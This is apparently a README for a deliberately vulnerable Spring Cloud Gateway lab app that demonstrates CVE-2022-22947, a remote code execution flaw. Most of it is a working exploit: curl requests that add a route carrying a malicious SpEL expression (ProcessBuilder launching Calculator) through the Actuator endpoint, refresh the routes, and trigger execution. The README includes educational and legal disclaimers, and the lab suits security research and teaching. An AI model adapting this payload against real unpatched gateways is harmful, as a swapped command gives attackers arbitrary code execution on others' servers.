
一个由AI生成的漏洞验证应用
This is a Spring Cloud Gateway application specifically designed to demonstrate and verify the CVE-2022-22947 vulnerability. The application uses a vulnerable version of Spring Cloud Gateway and allows arbitrary code execution through the Actuator endpoint.
CVE-2022-22947 is a remote code execution vulnerability in Spring Cloud Gateway. Attackers can execute arbitrary code by dynamically adding routes containing malicious SpEL expressions through the Actuator endpoint.
mvn spring-boot:run
The application will start at http://localhost:8080.
Send a POST request to the /actuator/gateway/routes/test endpoint to add a route containing a malicious SpEL expression:
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
-H "Content-Type: application/json" \
-d '{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}'
Send a POST request to the /actuator/gateway/refresh endpoint to refresh routes:
curl -X POST http://localhost:8080/actuator/gateway/refresh
Access the malicious route to trigger code execution:
curl http://localhost:8080/test
After successfully exploiting the vulnerability, the macOS Calculator application will launch.
Endpoint: POST /actuator/gateway/routes/test
Request Headers:
Content-Type: application/json
Request Body:
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}
Endpoint: POST /actuator/gateway/refresh
Endpoint: GET /test
This vulnerability allows attackers to dynamically add routes via the Actuator endpoint and execute arbitrary code using SpEL expressions within route filters. The core issue lies in Spring Cloud Gateway's improper handling of SpEL expressions in route configuration.
⚠️ Security Warning: This application is intended for educational and security research purposes only. Do not use or deploy this application in a production environment.
⚠️ Legal Disclaimer: When using this application for vulnerability testing, ensure you have proper authorization. Unauthorized testing may violate laws and regulations.